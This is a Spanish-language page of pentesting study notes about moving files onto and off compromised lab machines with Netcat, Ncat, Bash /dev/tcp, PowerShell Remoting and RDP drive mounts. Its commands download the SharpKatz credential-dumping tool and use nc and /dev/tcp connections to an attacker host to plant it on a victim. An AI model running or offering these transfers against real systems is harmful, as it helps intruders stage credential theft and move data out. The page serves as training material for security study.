beafn28
  • 👩‍💻¡Bienvenidos a mi HackBook!
  • WRITEUPS
    • DockerLabs
      • BuscaLove
      • Amor
      • Injection
      • BorazuwarahCTF
      • Trust
      • Picadilly
      • Pinguinazo
      • AguaDeMayo
      • BreakMySSH
      • NodeClimb
      • Move
      • Los 40 ladrones
      • Vulnvault
      • Pntopntobarra
      • Library
      • Escolares
      • ConsoleLog
      • Vacaciones
      • Obsession
      • FirstHacking
      • SecretJenkins
      • HedgeHog
      • AnonymousPingu
      • ChocolateLovers
      • Dockerlabs
      • Pressenter
      • Candy
      • JenkHack
      • ShowTime
      • Upload
      • Verdejo
      • WalkingCMS
      • WhereIsMyWebShell
      • Whoiam
      • Winterfell
      • -Pn
      • Psycho
      • Mirame
      • Backend
      • Paradise
      • Balurero
      • Allien
      • Vendetta
      • FindYourStyle
      • Stellarjwt
      • File
      • Redirection (Por completar)
      • Extraviado
      • Patriaquerida
      • Tproot
      • Internship
      • Walking Dead
      • Bicho (Por completar)
      • BaluFood
    • TryHackMe
      • Brooklyn Nine Nine
      • Blue
    • HackTheBox
      • Nibbles
      • Starting Point
        • Meow
        • Fawn
        • Dancing
        • Redeemer
        • Appointment
        • Sequel
        • Crocodile
        • Responder
        • Three
        • Archetype
        • Oopsie
        • Vaccine
        • Unified
        • Explosion
        • Preignition
        • Mongod
        • Synced
        • Ignition
        • Bike
        • Funnel
        • Pennyworth
        • Tactics
        • Included
        • Markup
        • Base
      • BoardLight
      • Cap
      • TwoMillion
      • Lame
      • Legacy
      • Devel
      • Beep
      • Optimum
      • Arctic
      • Jerry
      • Sau
      • GoodGames
      • Challenges
        • Emdee five for life
        • MarketDump
      • Intro to Dante
      • Heist
      • OpenAdmin
      • Nest
      • Curling
    • Vulnhub
      • Wakanda
      • Election (Por terminar)
    • The Hacker Labs
      • Avengers
      • Can you hack me?
      • Fruits
      • Microchoft
      • TickTakRoot
      • Grillo
      • Mortadela
      • Zapas Guapas
      • Sal y Azúcar
      • Cyberpunk
      • Papafrita
      • PizzaHot
      • Decryptor
      • Academy
      • Cocido andaluz
      • Find Me
      • Quokka
      • Campana Feliz
      • Bocata de Calamares
      • Casa Paco
      • Torrijas
    • Vulnyx
      • Fuser
      • Blogguer
      • Lower
      • Exec
      • Diff3r3ntS3c
      • Hacking Station
      • Experience
      • Eternal
      • Agent
      • Infected
      • Admin
      • War
      • Hosting
    • OverTheWire
      • Natas
        • Nivel 0-5
        • Nivel 6-11
        • Nivel 12-17
        • Nivel 18-23
        • Nivel 24-29
        • Nivel 30-34
      • Leviathan
        • Nivel 0-7
      • Krypton
      • Bandit
        • Nivel 0-10
        • Nivel 11-20
        • Nivel 21-30
        • Nivel 31-34
    • Proving Ground Play
      • Monitoring
      • DriftingBlues6
  • APUNTES HACKING
    • Pentesting Basics
      • Web Enumeration
      • Public Exploits
      • Types of Shells
      • Privilege Escalation
      • Transfering Files
    • Network Enumeration with NMAP
      • Host Discovery
      • Host and Port Scanning
      • Saving the Results
      • Service Enumeration
      • Nmap Scripting Engine
      • Performance
      • Firewall and IDS/IPS Evasion
    • Footprinting
      • Domain Information
      • Cloud Resources
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Information Gathering - Web Edition
      • WHOIS
      • DNS
        • Digging DNS
      • Subdomains
        • Subdomain Bruteforcing
        • DNS Zone Transfers
        • Virtual Hosts
        • Certificate Transparency Logs
      • Fingerprinting
      • Crawling
        • robots.txt
        • Well-Known URIs
        • Creepy Crawlies
      • Search Engine Discovery
      • Web Archives
      • Automating Recon
    • Vulnerability Assessment
      • Vulnerability Assessment
      • Assessment Standards
      • Common Vulnerability Scoring System (CVSS)
      • Common Vulnerabilities and Exposures (CVE)
    • Nessus
      • Getting Started with Nessus
      • Nessus Scan
      • Advanced Settings
      • Working with Nessus Scan Output
      • Scanning Issues
    • OpenVAS
      • OpenVAS Scan
      • Exporting The Results
    • Reporting
    • File Transfers
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Catching Files over HTTP/S
      • Living off The Land
      • Detection
      • Evading Detection
    • Shells & Payloads
      • Anatomy of a Shell
      • Bind Shells
      • Reverse Shells
      • Payloads
        • Automating Payloads & Delivery with Metasploit
        • Crafting Payloads with MSFvenom
        • Infiltrating Windows
        • Infiltrating Unix/Linux
        • Spawning Interactive Shells
      • Introduction to Web Shells
        • Laudanum, One Webshell to Rule Them All
        • Antak Webshell
        • PHP Web Shells
      • Detection & Prevention
    • Metasploit
      • MSFConsole
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Databases
      • Plugins
      • Sessions
      • Meterpreter
      • Writing and Importing Modules
      • Introduction to MSFVenom
      • Firewall and IDS/IPS Evasion
    • Password Attacks
      • John The Ripper
      • Network Services
      • Password Mutations
      • Password Reuse / Default Passwords
      • Attacking SAM
      • Attacking LSASS
      • Attacking Active Directory & NTDS.dit
      • Credential Hunting in Windows
      • Credential Hunting in Linux
      • Passwd, Shadow & Opasswd
      • Pass the Hash (PtH)
  • WEB SECURITY
    • Path Traversal
    • SQL Injection
    • Control de Acceso
  • Mis CTFs
    • Pequeñas Mentirosas
    • CryptoLabyrinth
    • Elevator
    • Facultad
  • PREPARAR EJPTv2
    • Máquinas
    • Curso de Mario
      • Presentación + Preparación de Laboratorios
      • Conceptos Básicos de Hacking
      • Explotación de Vulnerabilidades y Ataques de Fuerza Bruta
      • Explotación vulnerabilidades Web
      • Enumeración y Explotación del Protócolo SMB, SAMBA, SNMP, IIS y RDP
      • Hacking Entornos CMS
      • Escalada de Privilegios + Post Explotación
      • Pivoting con Metasploit
  • Preparar OSCP
    • Información
    • Máquinas
      • Linux
        • Fácil
        • Medio
        • Difícil
      • Windows
        • Fácil
        • Medio
        • Difícil
Powered by GitBook
On this page
  • Netcat
  • Transferencia de Archivos con Netcat y Ncat
  • Netcat - Máquina Comprometida - Escuchando en el Puerto 8000
  • Netcat - Máquina Atacante - Enviando Archivo a la Máquina Comprometida
  • Transferencia Inversa: Escuchando en la Máquina Atacante
  • Máquina Atacante - Enviando Archivo como Entrada a Netcat
  • Máquina Comprometida - Conectándose a Netcat para Recibir el Archivo
  • Máquina Atacante - Enviando Archivo como Entrada a Ncat
  • Máquina Comprometida - Conectándose a Ncat para Recibir el Archivo
  • Netcat - Enviando Archivo como Entrada a Netcat
  • Ncat - Enviando Archivo como Entrada a Netcat
  • Máquina Comprometida Conectándose a Netcat Usando /dev/tcp para Recibir el Archivo
  • Transferencia de Archivos en Sesión de PowerShell
  • Desde DC01 - Confirmar que el puerto TCP 5985 de WinRM está abierto en DATABASE01
  • Crear una Sesión de PowerShell Remoting a DATABASE01
  • Copiar samplefile.txt desde nuestro Localhost hacia la sesión de DATABASE01
  • Copiar DATABASE.txt desde la sesión de DATABASE01 hacia nuestro Localhost
  • RDP
  • Montar una Carpeta en Linux Usando rdesktop
  • Montar una Carpeta en Linux Usando xfreerdp

Was this helpful?

  1. APUNTES HACKING
  2. File Transfers

Miscellaneous File Transfer Methods

Hemos cubierto varios métodos para transferir archivos en Windows y Linux, utilizando diferentes lenguajes de programación. A continuación, exploraremos métodos alternativos como el uso de Netcat, Ncat, y transferencias de archivos mediante sesiones de RDP y PowerShell.

Netcat

Netcat (a menudo abreviado como nc) es una utilidad de redes para leer y escribir en conexiones de red utilizando TCP o UDP, lo que permite operaciones de transferencia de archivos. El Netcat original fue lanzado en 1995 por Hobbit, pero no ha sido mantenido a pesar de su popularidad. Debido a su flexibilidad, el proyecto Nmap produjo Ncat, una reimplementación moderna que soporta SSL, IPv6, proxies SOCKS y HTTP, entre otras funcionalidades.

En este apartado, utilizaremos tanto el Netcat original como Ncat.

Nota: Ncat es utilizado en PwnBox de HackTheBox como nc, ncat y netcat.

Transferencia de Archivos con Netcat y Ncat

La máquina comprometida o la máquina atacante pueden iniciar la conexión, lo cual es útil si un firewall impide el acceso al objetivo. En este ejemplo, transferiremos SharpKatz.exe desde nuestro Pwnbox a la máquina comprometida, utilizando dos métodos.

Netcat - Máquina Comprometida - Escuchando en el Puerto 8000

Primero, iniciaremos Netcat (nc) en la máquina comprometida, escuchando con la opción -l, seleccionando el puerto 8000 con -p 8000, y redirigiendo la salida estándar (stdout) con > hacia el archivo SharpKatz.exe.

victim@target:~$ # Ejemplo usando Netcat Original
victim@target:~$ nc -l -p 8000 > SharpKatz.exe

Si la máquina comprometida está usando Ncat, necesitaremos especificar --recv-only para cerrar la conexión una vez que la transferencia haya finalizado.

victim@target:~$ # Ejemplo usando Ncat
victim@target:~$ ncat -l -p 8000 --recv-only > SharpKatz.exe

Netcat - Máquina Atacante - Enviando Archivo a la Máquina Comprometida

Desde nuestra máquina atacante, nos conectaremos a la máquina comprometida en el puerto 8000 usando Netcat y enviaremos el archivo SharpKatz.exe como entrada (input) a Netcat. La opción -q 0 le indicará a Netcat cerrar la conexión una vez finalizada la transferencia.

sherlock28@htb[/htb]$ wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
sherlock28@htb[/htb]$ # Ejemplo usando Netcat Original
sherlock28@htb[/htb]$ nc -q 0 192.168.49.128 8000 < SharpKatz.exe

Con Ncat en la máquina atacante, podemos usar la opción --send-only en lugar de -q. El flag --send-only hace que Ncat termine una vez que su entrada haya sido agotada.

sherlock28@htb[/htb]$ # Ejemplo usando Ncat
sherlock28@htb[/htb]$ ncat --send-only 192.168.49.128 8000 < SharpKatz.exe

Transferencia Inversa: Escuchando en la Máquina Atacante

En lugar de escuchar en la máquina comprometida, podemos conectarnos a un puerto en nuestra máquina atacante para realizar la transferencia de archivos. Este método es útil si hay un firewall que bloquea conexiones entrantes. Escucharemos en el puerto 443 de nuestro Pwnbox y enviaremos el archivo SharpKatz.exe como entrada a Netcat.

Máquina Atacante - Enviando Archivo como Entrada a Netcat

sherlock28@htb[/htb]$ # Ejemplo usando Netcat Original
sherlock28@htb[/htb]$ sudo nc -l -p 443 -q 0 < SharpKatz.exe

Máquina Comprometida - Conectándose a Netcat para Recibir el Archivo

victim@target:~$ # Ejemplo usando Netcat Original
victim@target:~$ nc 192.168.49.128 443 > SharpKatz.exe

Podemos hacer lo mismo usando Ncat:

Máquina Atacante - Enviando Archivo como Entrada a Ncat

sherlock28@htb[/htb]$ # Ejemplo usando Ncat
sherlock28@htb[/htb]$ sudo ncat -l -p 443 --send-only < SharpKatz.exe

Máquina Comprometida - Conectándose a Ncat para Recibir el Archivo

victim@target:~$ # Ejemplo usando Ncat
victim@target:~$ ncat 192.168.49.128 443 --recv-only > SharpKatz.exe

Si no tenemos Netcat o Ncat en la máquina comprometida, Bash también admite operaciones de lectura/escritura utilizando un archivo pseudo-dispositivo /dev/TCP/.

Escribir en este archivo abre una conexión TCP a host:port, y esta característica puede ser utilizada para transferencias de archivos.

Netcat - Enviando Archivo como Entrada a Netcat

sherlock28@htb[/htb]$ # Ejemplo usando Netcat Original
sherlock28@htb[/htb]$ sudo nc -l -p 443 -q 0 < SharpKatz.exe

Ncat - Enviando Archivo como Entrada a Netcat

sherlock28@htb[/htb]$ # Ejemplo usando Ncat
sherlock28@htb[/htb]$ sudo ncat -l -p 443 --send-only < SharpKatz.exe

Máquina Comprometida Conectándose a Netcat Usando /dev/tcp para Recibir el Archivo

victim@target:~$ cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

Nota: La misma operación puede utilizarse para transferir archivos desde el host comprometido hacia nuestro Pwnbox.

Transferencia de Archivos en Sesión de PowerShell

Ya hablamos sobre realizar transferencias de archivos con PowerShell, pero puede haber escenarios donde HTTP, HTTPS o SMB no estén disponibles. En esos casos, podemos usar PowerShell Remoting, también conocido como WinRM, para realizar operaciones de transferencia de archivos.

PowerShell Remoting nos permite ejecutar scripts o comandos en un ordenador remoto utilizando sesiones de PowerShell. Los administradores suelen usar esta técnica para gestionar ordenadores remotos en una red, y nosotros también podemos utilizarla para transferir archivos. De forma predeterminada, habilitar PowerShell Remoting crea tanto un listener HTTP como uno HTTPS. Los listeners se ejecutan en los puertos TCP/5985 para HTTP y TCP/5986 para HTTPS.

Para crear una sesión de PowerShell Remoting en un ordenador remoto, necesitamos acceso administrativo, ser miembro del grupo de Usuarios de Gestión Remota, o tener permisos explícitos para PowerShell Remoting en la configuración de la sesión. Vamos a crear un ejemplo y transferir un archivo desde DC01 a DATABASE01, y viceversa.

Tenemos una sesión como Administrador en DC01, el usuario tiene derechos administrativos sobre DATABASE01, y PowerShell Remoting está habilitado. Utilicemos Test-NetConnection para confirmar que podemos conectar a WinRM.

Desde DC01 - Confirmar que el puerto TCP 5985 de WinRM está abierto en DATABASE01

PS C:\htb> whoami
htb\administrator

PS C:\htb> hostname
DC01

PS C:\htb> Test-NetConnection -ComputerName DATABASE01 -Port 5985

ComputerName     : DATABASE01
RemoteAddress    : 192.168.1.101
RemotePort       : 5985
InterfaceAlias   : Ethernet0
SourceAddress    : 192.168.1.100
TcpTestSucceeded : True

Dado que esta sesión ya tiene privilegios sobre DATABASE01, no es necesario especificar credenciales. En el ejemplo a continuación, se crea una sesión en el ordenador remoto llamado DATABASE01 y se almacena en la variable $Session.

Crear una Sesión de PowerShell Remoting a DATABASE01

PS C:\htb> $Session = New-PSSession -ComputerName DATABASE01

Podemos usar el cmdlet Copy-Item para copiar un archivo desde nuestra máquina local DC01 hacia la sesión DATABASE01 que hemos creado en $Session, o viceversa.

Copiar samplefile.txt desde nuestro Localhost hacia la sesión de DATABASE01

PS C:\htb> Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\

Copiar DATABASE.txt desde la sesión de DATABASE01 hacia nuestro Localhost

PS C:\htb> Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

RDP

RDP (Remote Desktop Protocol) se usa comúnmente en redes Windows para acceso remoto. Podemos transferir archivos usando RDP copiando y pegando. Podemos hacer clic derecho y copiar un archivo desde la máquina Windows a la que nos conectamos y pegarlo en la sesión RDP.

Si nos conectamos desde Linux, podemos usar xfreerdp o rdesktop. En el momento de redactar, ambas herramientas permiten copiar archivos desde nuestra máquina objetivo hacia la sesión RDP, pero puede haber escenarios en los que esto no funcione como se espera.

Como alternativa a copiar y pegar, podemos montar un recurso local en el servidor RDP remoto. Tanto rdesktop como xfreerdp permiten exponer una carpeta local en la sesión RDP remota.

Montar una Carpeta en Linux Usando rdesktop

sherlock28@htb[/htb]$ rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'

Montar una Carpeta en Linux Usando xfreerdp

sherlock28@htb[/htb]$ xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

Para acceder al directorio, podemos conectarnos a \\tsclient\, lo que nos permitirá transferir archivos hacia y desde la sesión RDP.

Nota: Esta unidad no es accesible para otros usuarios que inicien sesión en el equipo objetivo, incluso si logran secuestrar la sesión RDP.

PreviousTransferring Files with CodeNextProtected File Transfers

Last updated 7 months ago

Was this helpful?